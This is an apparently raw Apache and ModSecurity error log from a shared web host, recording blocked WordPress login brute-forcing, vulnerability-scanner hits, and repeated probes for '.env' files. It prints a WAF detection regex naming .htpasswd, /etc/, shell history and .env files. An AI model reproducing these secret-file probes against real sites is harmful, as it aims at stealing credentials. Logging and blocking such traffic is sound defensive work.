https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:17:45.479150 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:17:45.586553 2026] [security2:error] [pid 648189:tid 648248] [remote 148.72.126.143:51956] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 143.126.72.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/wp-login.php"] [unique_id "ai3zKVWSojQL4F7upKBoUQAA9xs"] [Sat Jun 13 18:17:45.647312 2026] [security2:error] [pid 646876:tid 647121] [client 185.177.72.9:41894] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/main.php"] [unique_id "ai3zKdyTkdrNlD40tSGwugAAAHE"] [Sat Jun 13 18:17:45.699403 2026] [security2:error] [pid 648189:tid 648229] [remote 17.246.15.239:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 239.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zKVWSojQL4F7upKBoVAAAiQk"] [Sat Jun 13 18:17:45.719406 2026] [security2:error] [pid 648189:tid 648446] [client 77.68.83.86:50020] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "56grwp.org"] [uri "/assets/images/images/cache.php"] [unique_id "ai3zKVWSojQL4F7upKBoVgAAAOA"], referer: www.google.com [Sat Jun 13 18:17:45.766204 2026] [security2:error] [pid 646876:tid 646920] [remote 17.241.75.244:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 244.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zKdyTkdrNlD40tSGwvAAANSk"] [Sat Jun 13 18:17:45.769647 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.29:23841] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:45.769962 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.29:23841] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:45.952704 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.18:58544] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:45.953139 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.18:58544] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:46.039873 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:17:46.040337 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:17:46.089395 2026] [security2:error] [pid 646876:tid 647042] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/main_user/.env"] [unique_id "ai3zKtyTkdrNlD40tSGwzgAAACI"] [Sat Jun 13 18:17:46.305394 2026] [security2:error] [pid 648189:tid 648482] [client 77.68.83.86:53143] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "56grwp.org"] [uri "/blogs/media/media/cache.php"] [unique_id "ai3zKlWSojQL4F7upKBobwAAAQA"], referer: www.google.com [Sat Jun 13 18:17:46.504665 2026] [access_compat:error] [pid 648189:tid 648321] [remote 57.141.14.13:54585] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:46.505123 2026] [access_compat:error] [pid 648189:tid 648321] [remote 57.141.14.13:54585] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:46.529375 2026] [access_compat:error] [pid 646876:tid 646945] [remote 57.141.14.110:23028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:46.529758 2026] [access_compat:error] [pid 646876:tid 646945] [remote 57.141.14.110:23028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:46.533015 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:46.533458 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:46.540286 2026] [security2:error] [pid 646876:tid 647069] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/manual/.env"] [unique_id "ai3zKtyTkdrNlD40tSGw5AAAAD0"] [Sat Jun 13 18:17:46.680601 2026] [security2:error] [pid 646876:tid 647113] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/master/.env"] [unique_id "ai3zKtyTkdrNlD40tSGw5wAAAGk"] [Sat Jun 13 18:17:46.719869 2026] [security2:error] [pid 648189:tid 648341] [remote 17.246.15.186:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zKlWSojQL4F7upKBofwAA5XY"] [Sat Jun 13 18:17:46.734563 2026] [access_compat:error] [pid 648189:tid 648387] [client 47.79.201.33:12352] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.google.com/ [Sat Jun 13 18:17:46.734868 2026] [access_compat:error] [pid 648189:tid 648387] [client 47.79.201.33:12352] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.google.com/ [Sat Jun 13 18:17:46.793090 2026] [access_compat:error] [pid 648189:tid 648257] [remote 57.141.14.44:62221] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:46.793523 2026] [access_compat:error] [pid 648189:tid 648257] [remote 57.141.14.44:62221] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:46.818736 2026] [security2:error] [pid 648189:tid 648295] [remote 17.241.227.187:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 187.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zKlWSojQL4F7upKBohgAA2Uk"] [Sat Jun 13 18:17:46.822527 2026] [security2:error] [pid 646876:tid 647103] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/media/.env"] [unique_id "ai3zKtyTkdrNlD40tSGw6wAAAF8"] [Sat Jun 13 18:17:46.940166 2026] [security2:error] [pid 648189:tid 648392] [client 77.68.83.86:62229] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "56grwp.org"] [uri "/cache/cache/cache.php"] [unique_id "ai3zKlWSojQL4F7upKBoiQAAAKw"], referer: www.google.com [Sat Jun 13 18:17:46.965051 2026] [security2:error] [pid 646876:tid 647086] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/memcached/.env"] [unique_id "ai3zKtyTkdrNlD40tSGw8wAAAE4"] [Sat Jun 13 18:17:47.110825 2026] [security2:error] [pid 646876:tid 647112] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/mentorg-lava-docker/.env"] [unique_id "ai3zK9yTkdrNlD40tSGw_wAAAGg"] [Sat Jun 13 18:17:47.116706 2026] [security2:error] [pid 648189:tid 648473] [client 34.23.213.224:51590] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zK1WSojQL4F7upKBojwAAAPc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:47.117930 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:17:47.118399 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:17:47.254037 2026] [security2:error] [pid 646876:tid 647093] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/micro-app-react-communication/.env"] [unique_id "ai3zK9yTkdrNlD40tSGxAwAAAFU"] [Sat Jun 13 18:17:47.268505 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.52:57716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:47.268955 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.52:57716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:47.279535 2026] [security2:error] [pid 648189:tid 648453] [client 34.23.213.224:51592] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zK1WSojQL4F7upKBolwAAAOc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:47.396361 2026] [security2:error] [pid 646876:tid 647035] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/micro-app-react/.env"] [unique_id "ai3zK9yTkdrNlD40tSGxBQAAABs"] [Sat Jun 13 18:17:47.442546 2026] [security2:error] [pid 648189:tid 648376] [client 34.23.213.224:51602] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zK1WSojQL4F7upKBongAAAJw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:47.539026 2026] [security2:error] [pid 646876:tid 647121] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/mindsweeper/gui/.env"] [unique_id "ai3zK9yTkdrNlD40tSGxCQAAAHE"] [Sat Jun 13 18:17:47.590026 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNl [Sat Jun 13 18:17:47.590284 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNl [Sat Jun 13 18:17:47.604927 2026] [security2:error] [pid 648189:tid 648455] [client 34.23.213.224:51614] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zK1WSojQL4F7upKBopAAAAOk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 